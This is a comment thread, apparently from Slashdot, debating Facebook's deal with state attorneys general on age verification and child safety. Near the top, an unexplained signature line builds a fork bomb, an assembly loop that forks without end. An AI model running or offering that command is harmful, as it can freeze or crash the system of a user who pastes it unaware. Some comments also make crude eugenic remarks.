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Facebook Agrees To User Safety Plan
Facebook has reached an agreement with the attorneys general of 49 states and the District of Columbia to develop and enhance controls to protect minors from inappropriate content. This follows a similar commitment from MySpace several months ago. The lone holdout in each case was Texas. News.com notes:
"In the deal, the social network has agreed to develop age verification technology, send warning messages when an under-18 user may be giving personal information to an unknown adult, restrict the ability for people to change their ages on the site, and keep abreast of inappropriate content and harassment on the site. While the agreement is with U.S. state authorities, Kelly said that the tools deployed will apply to Facebook's international users as well. More than half of the site's 70 million users are outside the U.S."
The state that invented the phrase 'shotgun Dad' in supported low regulation and combined with heavily armed, psychotic parenting.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Isn't that something that should be legislated, not negotiated under the threat of legislation?
Maybe Facebook should also be made to come round to people's houses and teach them how to wipe their arses properly.
While Facebook might have to provide some responsibility, the 49 states and Columbia should actually tell the PARENTS to supervise their child's usage of the internet.
Summation 2
"Facebook has agreed to an agreement with the attorneys "
Even Microsoft word might object to that.
You know, any time its 49 to 1 on states in America, you can be pretty sure that Texas is sitting out. Or perhaps Utah. Just once, I'd like to have a boring, milquetoast state like Rhode Island try to have a bit of a personality. "We're not a state! We're a Commonwealth! And we won't be having with any of your Internets!"
Hey, it could happen.
Help poke pirates in the eyepatch, arr.
I've always thought the broad-sweeping American-influenced use of age 18 on the internet is amazingly arrogant and blind. 18 is the arbitrary age of majority in some western cultures. In other western cultures, it's 21. In Japan (and perhaps other Asian countries, though I don't know), it's 20. Age of majority is probably even lower in some countries, and even higher in others.
Admit it. You post strawman arguments as AC so you get modded Insightful for refuting them, rather than Troll
before i get modded to hell, i'm usually not a doomsdayer.
however, i think this may be the point that we have all been dreading since the internet began -- the day we have to provide *real* identification to get access to casual (non commerce) sites.
i guess the glass-half-full part of me is wondering how facebook can verify age without compromising anonymity (and convenience for that matter).
one way to address this is to not allow unverified people to network with minors (what adults really would, anyway, unless they're spying on them or, well, the pedophiles this system is trying to address). although this is a bit ageist in that this would require minors to provide real id. this doesn't actually address the issue, only postpones full-compliance to future generations. . .
so, yeah. once this becomes commonplace (ie. when the infrastructure is in place), i can see the day when we all have to show our (real) ID at the door of every site we go to.
often it occurs to me that i will be looking back to these days and think, "wow, those were the days when the internet was free," as i hold my nationalIDcard up to the computer screen to be scanned . . .
mr c
"Physics is like sex. Sure, it may give some practical results, but that's not why we do it." - R. Feynman
Why not just outlaw internet use for those under 18? Before you laugh or mod me troll, hear me out:
Youngsters don't need the internet to do research as they could go to a library and do their research the old-fashioned way. Youngsters have cell phones and text messaging, and if they don't have that then they could play sports or participate in a myriad of activities for social bonding.
The internet is like a playboy magazine: it has articles totally unrelated to sex, and it has the pictures - would you let a minor get a playboy as long as they promise to "just read the articles"? Well, maybe. But if shit happens then then the youngster can take the blame and the punishment. Not their parents, not their ISP, not MySpace or Facebook.
Do all underage people who drink cause trouble? No, but if they do something stupid enough to endanger themselves or others, then most of those will be caught and punished.
goat sex
Except that the age of consent is actually lower in many countries, even if their age of majority is the same or higher.
So, for example, in many places in Europe, the age of majority is 18, but the age of consent is 15. Even in the US, there are state-by-state discrepancies.
In my opinion, I see no reason for minors to be using the same social networking services as adults, and in my opinion if they are under 15 they shouldn't be on social networking sites at all.
Can anything good come from letting minors access the adult oriented internet? We don't let them into clubs and bars, so why Myspace and Facebook?
A safe internet, designed for minors to access. This internet should require adult verification from their parents allowing their children to access the sites.
And an unrestricted unsafe internet where anything goes. And anyone who chooses to access this internet should be in no position to turn to lawsuits and press charges on people.
The key is, you can't mix the two worlds. The best way to protect minors is to build an internet for minors. The current internet is designed for adults and is unrestricted because adults can handle unrestricted "free" speech.
Minors on the other hand should have their parents at some level, through some means, set for them the level of censorship. And certain portions of the internet (chatrooms), have to be age restricted.
How often do you go into a chatroom which says its for over 21, and somehow some minors are always in the chatroom? How exactly is this different from walking into a bar and it's supposed to be over 21, yet minors are in the bar drinking with adults?
Something has to be done.
Will other countries also get these benefits? Maybe Austria?
My Blog | Badsh
The problem is not going to be solved just by telling parents to supervise the internet.
Yeah if the child is actually a child, as in under 15, then yes the parents should be supervising the internet for them, but what about when they are over 15 and under 18?
How can you have a chatroom or a "space" on the inernet which is not commercial, but which restricts the age limit to 18+? That is the question I'm asking. The law says that 18+ cannot have unrestricted communication with those under 18. The laws are probably extreme, but these are the laws, and the technology has to adapt to the laws to protect their users.
If something is not done, then there will be a lot of unnecessary lawsuits.
As far as I'm concerned. It's better to be safe than sorry. Assume 18 is the absolute minimum age, because from a legal perspective, if they are over 18 then you can't be sued as easily.
And I don't think we'd need ID's in every area of the internet. But if you want uncensored communication, because of how vague the current laws are, they can use the current laws to limit your free speech if minors are in the room.
It would be best if minors were not in the room, or if you could have anonymous / secure / private speech, as these seem to be the only two options which preserve free speech on the internet.
The truth is, a few sick pedophiles can ruin the internet for everyone else. Pedophiles make the entire internet look bad and many people use these pedophiles as an example of why we need to get rid of free speech on the internet.
The only way to preserve free speech on the internet at this point is technologically. The legal system is a generation behind the technology and probably always will be. The legal system can't even make up their mind on what the age of consent is.
Until they come up with a national age of consent, it will remain very difficult problem.
If there were a national age of consent then there could be a simple legal technological solution.
Instead of having the age of consent be state by state, why don't these federal politicians who want to pass all these internet laws to ban free speech, simply pass one age of consent bill which once and for all sets the age of consent across the entire country?
It's a lot easier to protect children when we actually know what a child is in the eyes of the law.
Lets solve this problem once and for all and come up with ONE age of consent. One age which applies to all US territories and the internet, so that adults can know when they are breaking the law.
To have no age of consent is equal to having the drinking age be different in every state and having some states have bars with minors in them and other states having bars set to be over 21.
You cannot govern this way.
Sounds good and does absolutly nothing. The best was to keep children safe on the internet is called ... wait for it ... PARENTING. So put the household computer in a high traffic area by the kitchen and take and interest in what your kids are doing.
Undetectable Steganography? Yep, there's an app fo
Because the voters seem to be damn inclined for the government to take care of their...
retirement
health care
schooling of their children
mortgages
How are those three a function of government? I really don't understand how people who send their kids to public school can complain about government censorship related to children. Really, what do you think goes on in your schools? You can't get information in some states about what actually does go on. Worse, in a few medical issues with your children is off limits to you.
Hell people on this very board that bitch and moan all the time want the government to control companies offering internet connectivity instead of letting the system sort itself out (meaning a competitor will stomp on comcast one day - it always happens)
If people had to pay for this enforcement the trivial crap would stop
* Winners compare their achievements to their goals, losers compare theirs to that of others.
I've seen sites that ask for adult verification via a credit card number but how do you verify that a minor is a minor? See if they don't have a credit card?
----------------------------------- My Other Sig Is Hilarious -----------------------------------
Whoring out the data of the adults to the commercial partners is just fine!
Posting their private actions to all their facebook mates is just fine!
Facebook are slimy bottomfeeders who don't give a shit about their users.
But then, cui bono ? The users aren't paying Facebook, the advertisers and commercial partners are.
"For a successful technology, reality must take precedence over public relations, for Nature cannot be fooled"
I'm under 15, and this is a "social networking site" of sorts, isn't it?
I can look at your posting history, send you messages, communicate and share with others.
And you, the old fart, want me off?
Thanks, old man
The Internet is for us all, and if I want to chat with my 16 and 17 year old friends from school or church or the football club, I'm going to do it where I please. No arbitrary age barrier is going to stop us talking to each other. You're extinct - get your opinion out of our way...
(dogma && sacrifices = protection from gods) && (politics && priesthood = protection from mobs) == 1b
Age verification technology - how will this work without requiring giving more personal information to facebook, who will then use it to further tail advertisements, could you imagine if they had your postal address?
The only part that makes sense is alerting when minors send information to adults.... but to do that it means monitoring personal communication without a warrant, and how do they really _know_ the child and adult know each other in a non-threatening way, and on the other side, how do they know that they arent relatives or have some other benign relationship... The solution is for parents to be parents and stop letting the computer/tv/playstation/wii parent your kids for you... nobody forced you to become a parent, take some responsibility. "In the deal, the social network has agreed to develop age verification technology, send warning messages when an under-18 user may be giving personal information to an unknown adult, restrict the ability for people to change their ages on the site, and keep abreast of inappropriate content and harassment on the site. While the agreement is with U.S. state authorities, Kelly said that the tools deployed will apply to Facebook's international users as well. More than half of the site's 70 million users are outside the U.S."
You know... it's not like there's a really authoritative guide anywhere.
Honestly why must adults who make up most of the population suffer for the minority?
Just add a "Kid Flag" to the browsers. Have the parents set the "Kid Flag" and have sites have to enforce rules around it.
e.g.
If there is a kids flag either the service doesn't work or has reduced functionality.
This allows parents to decide on the what age their kids are wise enough to use said services and puts the power entirely with the parents (as it should be).
Stop trying to get everyone else to be a parent. I mean it seems like teachers, police, equipment makers, service providers, etc all have to be some kind of parent for all these silly like kids that these morons keep dropping into the world.
Frankly the DNA pool might be better if some of the less intelligent kids (or kids with less intelligent parents) got taken out.
I've got to agree with the majority here that this is a pretty ridiculous imposition onto sites like facebook and myspace. I think the average kid is going to get up to stuff on the internet that they're not "supposed" to. I know I did. But fortunately, most kids have been sufficiently educated about the potential dangers and how to keep themselves safe... the real problem that has to be addressed is how some kids slip through the cracks and don't receive/understand this basic safety information.
You must not be familiar with this
http://en.wikipedia.org/wiki/Tenth_amendment.
Your proposed solution would be unconstitutional, of course that's rarely stopped the federal government from expanding its powers before.
Facebook IS the issue. It's Never the parents. All parents are perfect with the upbringing of their child. point the finger at... media. gta. facebook.
Look, I'm not saying ban all who are under 15 from accessing the internet. If someone is under 15 and their parents give them permission to access the internet, they have every right to access the internet. Their parents should be responsible for monitoring their use of the internet if their parents believe their child has a right to access.
However the current trend is that parents expect MySpace, and adult users of MySpace to change our behavior and protect THEIR kids from the dangerous internet. It's not my job to protect some other persons kids. It's not MySpaces job to protect other peoples kids either.
And parents obviously aren't doing a good job protecting their own kids if there is some sorta pedophile problem with the internet. So it's in the best interest of the internet and the adult users of the internet, to force parents to be responsible and monitor their child/teens internet access.
While they say no alcohol is served on MySpace, there are many corrupting elements on MySpace and it has nothing to do with alcohol. MySpace is simply not a place for kids. There are adults on MySpace doing adult things, having adult discussions. MySpace is not like slashdot where there are moderators and "rules".
A Slashdot conversation which is inappropriate for minors can be moderated. The same cannot be said about MySpace. And honestly, if you are under 15 and using MySpace, your parents are probably being irresponsible. MySpace is not a toy designed for children. It's as adult as a bar or strip club in my opinion.
Thats why you amend the constitution and add an age of consent to it.
I can imagine the meetings where they come up with this iron-clad age verification protocol:
Goon A: So, how do we verify that someone is underage?
Goon B: Ooh, let's ask them how old they are when they sign up for Facebook!
Goon A: That's brilliant!
Five-year old in the room: What if they lie?
Goon B: Oh, I didn't think of that...
Goon A: OK, this is a little crazy, but hear me out: we put a bolded message at the top of the registration page saying that they cannot lie about their age.
Goon B: Hmmm, I'd feel a little better if it was in red.
Goon A: Nailed it!
Five-year old: What if they still lie?
Goon A: You're right, they might still lie. How about we ask for a credit card number for age verification. Nobody who's underage would have a credit card!
Goon B: So if they don't enter a credit card number... they must be underage!
Goon A: Man, this was a productive meeting. Someone get this kid a juice box and some cookies.
Yes. Minors should have parents. Parents should take care of them. Then can even restrict them from accessing chatrooms.
There are lots of technological ways to do that.
If you are a parent, have kids, and don't want to take care of them yourself, just don't allow them to use the internet. If you don't like the regular one, build a new one!
No one is keeping you from doing that.
There are lots of networks that are not connected to the internet.
Of course, if you want it to work, good luck doing it without freedom.
I liked facebook a lot more when it filled a certain niche in the market. MySpace was already out at this point and was huge, regretably huge, and facebook came along to fill a need. It started on college campuses, and really, thats the reason it was able to become so big so fast. I wish it remained that way. I'm not saying this to be elitist or anything, I just felt it was so much better when it was less customizable and I wasn't getting 800 invites to join the vampires versus werewolves game.
Now because they are the de facto social networking site for the world (I know, I know, people still use myspace.... regretably), they have to deal with these kinds of issues. It's like Microsoft Windows in a way - the more you open your product to a wider and wider audience, the more vulnerable you become.
Somehow I don't expect the Web2.0 darling Wikipedia will be implementing similar measures anytime soon.
Or even better... have the adult population actually grow up, think rationally for once and realize... it's a computer. It can't kill you (unless you bring it into the bathtub when it's plugged in). It can't hurt you (unless you drop it on your foot). All it can do is expose you to other peoples thoughts and ideas. If being exposed to other people's thoughts and ideas is all it takes to harm you, at ANY age, the gene pool is better off without you in it.
Proud neuron in the Slashdot hivemind since 2002.
A safe internet, designed for minors to access. This internet should require adult verification from their parents allowing their children to access the sites.
How do we stop the bad people accessing the kiddies' intarwebs ?
Something has to be done.
Indeed. Parents need to start taking some fucking responsibility.
A safe internet, designed for minors to access. This internet should require adult verification from their parents allowing their children to access the sites.
How do we stop the bad people accessing the kiddies' intarwebs ?
Something has to be done.
Indeed. Parents need to start taking some fucking responsibility.
Why would an adult want to access the kiddie intraweb? Any adult who is trying to access these sorts of site should be investigated immediately.This will save resources.
Look, I'd be fine if it wasn't reaching a point where people are being raided by the FBI for clicking illegal hyperlinks, but it has reached that point.
It's time to do something radical technologically in my opinion. It's a lot cheaper to solve this technologically than to let bad laws ruin the internet experience for everyone.
So how do you want to save the internet? I say the best way to do it is to build in technological and legal solutions which limit liability of websites and users of those websites and place 100% of the liability on the parents.
If a 15 year old breaks into the unrestricted chatroom and talks to adults, it's their parents fault, it's not the websites fault, or the adults fault.
And no, you cannot label the adults in the chatroom pedophiles if they aren't actively seeking children. But go into ANY chatroom these days, even the "adult" oriented chatrooms, and somehow they are all filled with teenagers.
Brilliant idea.
Why did they open their product to children anyway?
They should have kept it as an adult college generaton product. I'd probably still be using it if they didn't open it to everyone.
There's a reason why parents who are internet savvy enough to know what a MySpace page or a Facebook profile is aren't interested in stopping their children from using social networking services like the above mentioned: it makes their children so much easier to track.
In the old days, hyper-protective parents in non-communicative families would have to sneak reads of their kid's diary if it existed. Now, in the age of social networks, they can see exactly who their kids are talking to, what each is saying, the pictures that they're putting up, what they're actually doing and so on. Stalking your kid has never been so easy.
So, how do parents preserve the tracking aspect (without letting on to their kids that they know about the internet) and make a half-hearted attempt at protecting them? Shout at someone who can shout at the service provider for them. That way, elaborate safety plans are enacted and parents can continue to read about what's really going on with their kids.
Why would an adult want to access the kiddie intraweb?
Two immediately obvious examples, from both ends of the spectrum:
* Paedophiles
* Helicopter parents
Any adult who is trying to access these sorts of site should be investigated immediately.
Indeed. Heaven forbid parents be able to check up on what their children are doing (or, even crazier, offer some parental guidance), grandparents keep in contact with their grandchildren and an 18 year old date a 17 year old. Imagine the horrifyingly chaotic society that would spawn.
Oh, because THAT would be hard to circumvent.
Why seek a technological solution for a problem that is simply a lack of parental control? If a person is under the age of majority then their parents are still responsible in part for their child's actions. It is a failure of parents to accept this responsibility that is the root cause of the problem, not some technological failure of the internet. When individuals become adults, at whatever age that might be locally, then they are fully responsible for their actions. Until that age, and whether they like it or not, their parents have responsibilities for them and individuals must accept this.
Have a look at soylentnews.org for a different view
We all know that software blocks are pretty much useless once the kid reaches about the age of 15 (even younger sometimes). Why doesn't someone develop a firewall or proxy that plugs in between your modem and your router (or computer, what-ever), that has a keypad and a button on the side. Hit the child button and it blocks a huge list of sites, type in the password and it unblocks them. You could even put a battery and an alarm on it in case the kid tries to unplug it.
I'm sure it also wouldn't be too hard for router companies (linksys, dlink, etc.) to add parental controls to the software. I know they have "access restriction" things, but can't they make a generic system like the one in add-block that automatically loads a list. Then have a simple way of turning off the filter temporarily without going into the main settings page?
Parents may not be able to constantly monitor the computer, but having a physical unit (not installed on the computer) that can block and/or monitor these things while the parents are out, etc would make it much easier for them.
The main problem with current nany-type systems is that half of them are too complicated for the parents to use/monitor/understand and those that are easy enough can be easily bypassed by children.
Better to investigate than not to investigate and have the entire internet be shut down.
Better to investigate than not to investigate and have the entire internet be shut down.
Investigate what ?
The "entire internet" isn't going to get shut down, no matter what - and especially not over something as petty and irrelevant as minors and adults hanging around in the same forums.
Is this similar to the Evil Bit?
Kids are likely to ignore these messages, just like they ignore their parents.
If each mistake being made is a new one, then progress is being made.
I'm 35 years old. When I was a kid I never could figure out exactly what it was that the world was trying to protect me from with all of the restrictions it placed upon what I could see or read.
It didn't take me long to come to the conclusion that the motivation was malice against the young, because after all there was no way that grown people could actually be so collectively stupid as to believe the things they were telling me about how this or that was so harmful to me.
As I grew older I realized that yes, people can be that stupid.
It all comes down to culture and the values that the young are indoctrinated to believe. Teach a kid to be afraid of black cats from a young age and you'll wind up with a 40 year old who is terrified of them, even if they cannot explain why. Teach a kid that certain things are "bad" for children to see or know about, and you'll wind up with a 40 year old who believes just that, even if they cannot explain why.
Most of the things that people try to protect children from are not harmful to anyone of any age. These things are transgressions of Victorian morality in most cases, as it was during this period that the notion of a child as an exceptional individual, and of childhood as a special period in life, really took hold. Before this, children were seen as small and immature versions of adults, not as a different sort of creature.
Today society spends so much time and effort worrying about children and working to protect them from things. That's all fine and good when you're talking about lead paint or electric blankets that catch on fire. But it isn't such a good idea when you're attempting to protect the kid from life itself. Robert A. Heinlein said "Don't cripple your children by making their lives easy for them." I couldn't agree more.
When we attempt to "protect" children from violations of Victorian sensibilities, we're doing them no favors and only making ourselves look foolish and capricious in the process.
Knowledge of sex, even pornography, is not harmful provided that it isn't spoon fed to someone on a continual basis. If anyone of any age were to sit and watch porn all day long, it would definitely have an effect on them and not a good one. But in small doses, porn hurts no one. Now that doesn't mean you should start showing porn to kids, they'll find it on their own soon enough. What it does mean is that their seeing it does not constitute an emergency or a problem in need of a solution.
Kids are going to see porn. They're going to steal sips of alcohol from your liquor cabinet. Most are going to get rip roaring drunk at some point. They're going to smoke a few cigarettes, and in some cases a lot. Many will experiment with various drugs, and the weak ones will fall prey to them. They're going to start up with boyfriends or girlfriends when they get to be a certain age, and most of them are going to have sex. All of these things are NORMAL. There are dangers of course, such as STD's, teen pregnancy, and drug addition, but you can't protect your kids from these things by attempting to isolate your kids from them. And you especially can't protect your kids by lying to them about these things.
If you want to protect kids, the best thing to do is to educate them about the real dangers of the world. There are predators online who look for kids to molest. There are also predators hanging around parks and playgrounds looking to do the same. Creepy old guys hang around shopping malls leering at middle schoolers. If you want your kids to be safe from them, then EDUCATE them on the nature of these predators.
My mother warned me when I was very young that as a good looking boy there would be creeps out there looking to molest me. She did her best to keep me safe by taking the time to teach me about the dangers that existed. I'm alive today because she did this, literally.
Parents need to do their job and stop looking to the state to pass useless laws that only serve to insult and annoy kids and do nothing to deter actual predators.
Muslim community leaders warn of backlash from tomorrow morning's terrorist attack.
The internet will be shutdown on suspicion of kiddie porn and pedophiles. And it's all MySpaces fault.
This doesn't change the fact that parents have shifted the legal liability on website owners and internet users.
Where in TFA does it say "that parents have shifted the legal liability on website owners and internet users"? They haven't as far as I can tell. They might want to blame someone else for their own short-comings but I expect that any reasonable court would tell the parents the truth and pull no punches while doing so.
Facebook et al might agree to many things to make life safer for those who are not yet adults, but assuming responsibility for those minors is something that they haven't said they will do, nor will they ever do so if I'm not mistaken.
Have a look at soylentnews.org for a different view
Facebook has reached an agreement with the attorneys general of 49 states and the District of Columbia to develop and enhance controls to protect minors from inappropriate content.
Where in TFA does it say "that parents have shifted the legal liability on website owners and internet users"? They haven't as far as I can tell. They might want to blame someone else for their own short-comings but I expect that any reasonable court would tell the parents the truth and pull no punches while doing so.
Facebook et al might agree to many things to make life safer for those who are not yet adults, but assuming responsibility for those minors is something that they haven't said they will do, nor will they ever do so if I'm not mistaken.
If you've been paying attention to the massive sequence of politically motivated legislation and many articles you will see that the laws are designed to shift the blame onto the internet.
When those 8 girls beat up the 1 girl and it was posted on YouTube, the parents did not blame those 8 girls, the parents of the victim blamed YouTube and MySpace. They blame the internet.
If you look at the laws being passed, the laws do not say that minors who enter "adult" chatrooms are liable, or that their parents are liable, the laws place liability on the chatroom itself, and on the adults in the chatroom. This means that the chatroom is open to a lawsuit if something bad happens to the minor who entered the adult chatroom in the first place. This also means that the adult users in the chatroom are open to lawsuits if they don't censor themselves around the minor.
Instead of empowering parents, and placing liability on parents who have the absolute responsibility of protecting their children from the horrors and dangers of the internet, the current set of laws have been putting pressure and responsibility onto the internet itself.
Internet websites now have the responsibility of doing backround checks on their members to remove all known sex offenders. So now MySpace has the responsibility of dealing with sex offenders? And now Facebook too has to be concerned with who among their members are sex offenders?
In my opinion, internet sites, and members on these sites, should be given some level of legal immunity. In exchange for this legal immunity I think these sites should be legally required to add parental controls and some forms of parental censorship mechanisms. Basically all responsibility for what teenager accesses on the internet should be placed on the parent.
The only time I think the parents should not be responsible is in situations where the minor gives names, addresses, and other personal information, or in situations where pedophiles and the like actively stalk underaged individuals.
In the situation where the minor gives their phone number and address to the pedophile, disregarding whatever their parents told them, then the liability shouldn't be placed on the parents in this situation.
The other situation I can think of is if a pedophile actively stalks an individual they know to be underage, and is trying to gather indentity information. In this case the parents, and the minor are not liable at all.
All liability in this case would fall on the stalker/pedophile, and on sites like MySpace and Facebook which allow organized stalking to be more easily conducted. If a parents teenage daughter were to be kidnapped, and we find that the kidnapper used MySpace to gather all the necessary information to organize the stalking and kidnapping, then I believe MySpace is legally liable.
What I don't want to happen is for the people who have no understanding of the internet, or the technology involved, to keep blaming the internet, and treating the internet and all social networking sites and chatrooms as a place that is just filled with pedophiles and therefore automatically it's just bad and has to be banned, censored, controlled, and criminalized.
Allow parents to create a list of personal information which can not be posted on Myspace from the IP address of the account of their child.
Also allow parents to access a special portion of the site where they can monitor everything their teenager says on MySpace.
And ISP's can also allow parents to access all the communications logs that are kept for 2 years for whatever purposes.
As long as parents see what their kids are saying online, the parents will have the power to protect them from pedophiles. There should be certain kinds of information which if their child ever says it online it should be flagged and a letter should be sent saying "personal information has been uploaded to this list of websites, and to this list of IP addresses, for more details please call us".
Basically, a business could be started to log the communications of households who have minors accessing the internet, and this communications log could be set to flag when certain information is uploaded. The corporation doing the monitoring should not have the right to access any of it, it should be encrypted and private and only accessible by the parents.
Let's set up businesses to help parents spy on their childrens internet access. All communication uploaded which includes certain search terms or real names, addresses and other private information should be flagged and recorded.
A company could form to monitor the internet activity of their children for parents.
I'm not for censorship. I'm for spying on children.
If parents think their teenager is mature enough for uncensored internet access, thats fine with me.
But when the teenager uploads private information like their real name, their telephone number, their address, the ISP should send a letter to the parents telling them the list of sites which this information was uploaded to, or the list of IP addresses.
And there should be corporations setup with the specific purpose of helping parents to spy on their childrens internet access. The parent should be able to set certain types of information to flag, and when the child uploads that information to the internet it should be recorded by the corporation set up to monitor the flagged information.
Very much like the NSA setup where keywords are flagged, this is how you'd want it. Certain keywords should be flagged. Parents should be able to access the logs since they are paying for the internet connection and for the special internet monitoring service offered by the ISP.
This way the risks are not eliminated, as they can still access the internet and be exposed to all sorts of uncensored information. The difference is the parents will KNOW what their kids are doing and will be able to look out for certain risky or dangerous behaviors.
I don't think we need anymore laws. In fact I think there is no need for using the law to solve parenting problems. The whole pedophile kidnapping type of problems are the result of poor parenting, or parents who don't know what information their children are giving to strangers.
Parents should know who their childrens friends are and should know when their children give out personal information to strangers. The technology needs to be in place to help parents spy on their children more easily.
The best solution, is for parents to demand that ISPs offer internet monitoring services.
Certain keywords they select should be flagged.
Personal information should also be flagged.
When their children upload this information to the ISP, the ISP should keep it on record just as banks keep on record when you make a transaction.
If the child gives their name and address to the internet, the parent should know the list of websites and IP addresses that this information was passed onto. If it's uploaded to the IP address of a known sex offender, the parents should receive a phone call alerting them that their child has uploaded personal information to a known sex offender.
And that would solve this problem. There is no need to ban sex offenders from MySpace, or ban sex offenders from the internet. Or create illegal hyperlinks, or use any of the technologically ignorant solutions (hey it's my opinion).
We should simply use the technology to allow parents to act as the dataminer, and give parents backdoor access to the ISP's database, and to MySpaces database, and to the databases which contain information on the sex offenders, all for a fee.
If the ISP's don't want to implement these features, fuck them, just go ahead and set up the business yourself and use it as a chance to get rich off the hysteria. The point I'm making is that the best way to protect children in this world, is to empower the people who love them, and that is their parents.
Parents should be able to spy on an internet connection they are paying for. And parents should have every right and even be ENCOURAGED to spy on their children. Parents should be able to hire investigators to go on MySpace and PRETEND to be a pedophile and ask their child for personal information just to see if their child will give it out.
These are my opinions, I am not a lawyer, but I do not believe children have a right to privacy at all unless their parents give it to them. I do not want the government policing or criminalizing the internet, and I do not want censorship on the internet even if it's claimed as a way to arrest pedophiles.
I do want children to be protected. And I think the parent is the only one capable of protecting their child.
I'd consider myself a libertarian socialist, socialism is good as long as liberty is maximized.
Socialism without liberty however is just glorified slavery, and this is why I'm not a Stalin socialist Democrat, or a Hitler fascist Republican.
I don't support any party which reduces my quality of life, no matter what the ideology is or the promises they make. I want liberty because it improves my quality of life, and as long as I'm not harming anyone, the government has no moral basis with which to remove my liberty.
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Being a libertarian has nothing to do with being a capitalist.
With that being said, yes I prefer the libertarian philosophy of capitalism over the other forms, but only because if it were done right the libertarian form of capitalism is the only form that could ever be considered fair.
It's survival of the fittest under any system. Libertarians just believe in allowing people to compete according to a set of rules which allow for fair competition.
Socialists on the other hand usually raise taxes on the middle class to ease the competition for the rich and help the poor. So in all honesty I don't think the current libertarians are true libertarians unless their ultimate goal is to maximize the kinds of liberty which aren't harmful to other people and which raise quality of life.
I'm not a supporter of giving people the freedm to be a slave. I don't believe we need the governmnemt to provide any social services, because I believe the church has more money and power than the government and is more capable.
The government seems best at making way and then taxing us to make us pay for it, or drafting us to make us fight in it.
I'm not an anarchist who wants to remove government. I want the government to stay out of our private lives. Government should not be able to have a war on drugs in my opinion. Government shuld not be able to control the food we eat. Government should not have any influence over the education system besides giving vouchers so kids can go to private school, or grants, or loans. I'm not a supporter of public schools because public schools haven't been shown to work.
I do not support the no child left behind. I do not support standardized testing. I do not support any infringement on our civil liberties because I believe when you lose your liberty you lose your security and you become more of a slave in the process.
As far as feudalism and warlordism, capitalism is what leads to that, not libertarianism. You can be libertarian without being a capitalist at all.
And as far as government goes, I'm not anti government, I'm anti big government. I like decentralized government. I like decentralized power structures.
Relationships are also no substitute for technology.
Not all kids are honest, or bright.
I doubt whether any kids are completely honest -- nor adults. It's something that relationships have to deal with. And in my experience, the ones that are not so bright are the easy ones to deal with, because they tend not to have unduly exciting ideas.
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